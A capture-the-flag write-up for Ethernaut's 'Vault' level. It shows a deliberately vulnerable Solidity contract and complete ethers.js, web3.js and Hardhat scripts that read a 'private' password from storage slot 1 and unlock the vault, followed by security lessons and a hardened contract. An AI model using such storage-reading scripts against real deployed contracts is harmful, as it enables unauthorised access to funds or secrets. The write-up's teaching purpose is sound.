March 18, 2024

Vault Challenge - Ethernaut Level 8

7 min readDifficulty: Easy

Challenge Description

StorageSolidityBlockchainLevel 8

Challenge Goal

Unlock the vault by finding the private password. The challenge demonstrates that private variables in smart contracts are not truly private and can be read from the blockchain's storage.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Understanding the Contract

Let's break down how this contract works:

  1. State Variables: The contract has two state variables:
    • locked (public bool): Indicates whether the vault is locked
    • password (private bytes32): Stores the password to unlock the vault
  2. Constructor: Sets the initial password and locks the vault
  3. unlock Function: Compares the provided password with the stored password and unlocks the vault if they match

The vulnerability lies in the misconception that private variables are truly private on the blockchain.

The Vulnerability

This contract has a fundamental misunderstanding about privacy in smart contracts. The issue is:

  • Storage Visibility: In Ethereum, all contract storage is publicly readable, regardless of the visibility modifier (public, private, internal, external)
  • Private Misconception: The private keyword in Solidity only affects compilation and access control within the contract, not storage visibility
  • Storage Layout: All state variables are stored in the contract's storage slots, which can be read by anyone

Understanding Ethereum Storage

Ethereum uses a key-value storage model where:

  • Each contract has a storage space divided into 2^256 slots
  • State variables are stored sequentially starting from slot 0
  • Each slot can store 32 bytes (256 bits) of data
  • All storage data is publicly accessible on the blockchain

Storage Layout for the Vault Contract

Storage Layout:
Slot 0: locked (bool) - 1 byte, padded to 32 bytes
Slot 1: password (bytes32) - 32 bytes

Note: Even though 'password' is marked as private, 
it's still stored in slot 1 and is publicly readable.

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Read the private password from the contract's storage
  2. Call the unlock function with the correct password
  3. Verify that the vault is now unlocked

Reading Storage Data

We can read the storage data using several methods:

Method 1: Using ethers.js

// Using ethers.js to read storage
const vaultAddress = "INSTANCE_ADDRESS";

// Read the password from storage slot 1
const password = await ethers.provider.getStorageAt(vaultAddress, 1);
console.log("Password:", password);

// Call unlock with the password
const vault = await ethers.getContractAt("Vault", vaultAddress);
const tx = await vault.unlock(password);
await tx.wait();

// Check if the vault is unlocked
const locked = await vault.locked();
console.log("Vault locked:", locked);

Method 2: Using web3.js

// Using web3.js to read storage
const vaultAddress = "INSTANCE_ADDRESS";

// Read the password from storage slot 1
const password = await web3.eth.getStorageAt(vaultAddress, 1);
console.log("Password:", password);

// Call unlock with the password
const vault = new web3.eth.Contract(VaultABI, vaultAddress);
await vault.methods.unlock(password).send({ from: playerAddress });

// Check if the vault is unlocked
const locked = await vault.methods.locked().call();
console.log("Vault locked:", locked);

Method 3: Using Remix IDE

You can also exploit this manually using Remix IDE:

  1. Deploy the Vault contract with a password
  2. In the Remix console, use web3.eth.getStorageAt(contractAddress, 1) to read the password
  3. Call the unlock function with the retrieved password
  4. Check the locked variable to confirm it's now false

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  // Get the vault instance address
  const vaultAddress = "INSTANCE_ADDRESS";
  
  console.log("Vault address:", vaultAddress);
  
  // Read the current locked status
  const vault = await ethers.getContractAt("Vault", vaultAddress);
  const initiallyLocked = await vault.locked();
  console.log("Initially locked:", initiallyLocked);
  
  // Read the private password from storage slot 1
  const password = await ethers.provider.getStorageAt(vaultAddress, 1);
  console.log("Retrieved password:", password);
  
  // Unlock the vault
  console.log("Unlocking vault...");
  const tx = await vault.unlock(password);
  await tx.wait();
  console.log("Unlock transaction completed!");
  
  // Verify the vault is unlocked
  const finallyLocked = await vault.locked();
  console.log("Finally locked:", finallyLocked);
  
  if (!finallyLocked) {
    console.log("✅ Vault successfully unlocked!");
  } else {
    console.log("❌ Vault is still locked");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Security Lessons

  • Storage Visibility: All data stored in smart contracts is publicly readable on the blockchain. The private keyword only affects compilation, not storage visibility.
  • No True Privacy: Never store sensitive information like passwords, private keys, or personal data directly in smart contracts, even if marked as private.
  • Encryption: If you need to store sensitive data, consider encrypting it off-chain and only storing the encrypted version on-chain.
  • Access Control: Use proper access control mechanisms like modifiers and role-based permissions instead of relying on "hidden" data.
  • Design Patterns: Consider using commit-reveal schemes or other cryptographic techniques for applications that require privacy.

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureVault is Ownable {
    bool public locked;
    mapping(address => bool) public authorizedUsers;
    
    event VaultUnlocked(address indexed user);
    event UserAuthorized(address indexed user);
    
    constructor() {
        locked = true;
        authorizedUsers[msg.sender] = true; // Owner is authorized
    }
    
    modifier onlyAuthorized() {
        require(authorizedUsers[msg.sender], "Not authorized");
        _;
    }
    
    function unlock() external onlyAuthorized {
        require(locked, "Vault already unlocked");
        locked = false;
        emit VaultUnlocked(msg.sender);
    }
    
    function authorizeUser(address user) external onlyOwner {
        authorizedUsers[user] = true;
        emit UserAuthorized(user);
    }
    
    function revokeUser(address user) external onlyOwner {
        authorizedUsers[user] = false;
    }
    
    function lock() external onlyOwner {
        locked = true;
    }
}

The improved contract:

  • Uses access control instead of passwords
  • Implements proper authorization mechanisms
  • Includes events for transparency
  • Allows the owner to manage authorized users
  • Doesn't rely on "hidden" data for security

Alternative Solutions

For applications that require password-like functionality, consider:

  • Hash-Based Verification: Store hashes of passwords instead of plain text
  • Multi-Signature Wallets: Require multiple parties to approve actions
  • Time-Locks: Use time-based restrictions for sensitive operations
  • External Authentication: Use off-chain authentication with on-chain verification
  • Zero-Knowledge Proofs: Use ZK proofs to verify knowledge without revealing the secret

Understanding Storage in Depth

To better understand how storage works, let's look at a more complex example:

// Example showing storage layout
contract StorageExample {
    uint256 public a;        // Slot 0
    uint128 public b;        // Slot 1 (first 16 bytes)
    uint128 public c;        // Slot 1 (last 16 bytes) - packed with b
    bytes32 public d;        // Slot 2
    mapping(address => uint256) public e; // Slot 3 (but actual data is at keccak256(key + slot))
    uint256[] public f;      // Slot 4 (but actual data is at keccak256(slot) + index)
    
    // All of these can be read from storage, regardless of visibility!
}

Conclusion

The Vault challenge is an excellent introduction to understanding storage visibility in Ethereum smart contracts. It demonstrates a fundamental principle: all data on the blockchain is public.

The key takeaway is that the private keyword in Solidity is a misnomer. It only affects compilation and access control within the contract, not the actual visibility of data on the blockchain. This is a common misconception that can lead to serious security vulnerabilities.

When designing smart contracts, always assume that all data will be publicly visible and design your security mechanisms accordingly. Use proper access controls, cryptographic techniques, and off-chain solutions when privacy is required.

Your Notes